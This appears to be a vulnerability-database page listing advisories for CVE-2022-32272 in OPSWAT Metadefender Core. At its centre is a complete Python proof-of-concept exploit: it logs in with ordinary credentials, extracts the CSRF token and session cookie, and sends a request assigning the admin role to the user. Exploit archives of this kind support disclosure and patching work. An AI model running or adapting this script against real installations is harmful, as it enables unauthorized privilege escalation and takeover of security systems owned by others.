| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| OPSWAT Metadefender Core - Privilege Escalation Exploit | 28 Mar 202300:00 | – | zdt | |
| CVE-2022-32272 | 9 Jun 202215:15 | – | attackerkb | |
| CVE-2022-32272 | 9 Jun 202218:33 | – | circl | |
| OPSWAT MetaDefender Core 安全漏洞 | 9 Jun 202200:00 | – | cnnvd | |
| CVE-2022-32272 | 9 Jun 202200:00 | – | cve | |
| CVE-2022-32272 | 9 Jun 202200:00 | – | cvelist | |
| CVE-2022-32272 | 9 Jun 202215:15 | – | nvd | |
| OPSWAT Metadefender Core 4.21.1 Privilege Escalation | 28 Mar 202300:00 | – | packetstorm | |
| Privilege escalation | 9 Jun 202215:15 | – | prion | |
| PT-2022-21197 · Opswat · Opswat Metadefender Core +2 | 9 Jun 202200:00 | – | ptsecurity |
# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Date: 24 October 2022
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================
#!/usr/bin/env python3
import requests
import json
from getpass import getpass
url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
password = getpass("Password: ")
url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}
## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']
## Prepare Header & Cookie
headers = {
"oms_csrf_token": token,
}
cookie = {
"session_id_ometascan": session
}
## Set Payload to get Admin role
payload = '{"roles": ["1"]}'
response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))
if response.status_code == 200:
print("Expolit Successful!")
else:
print("Exploit Unsuccessful")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation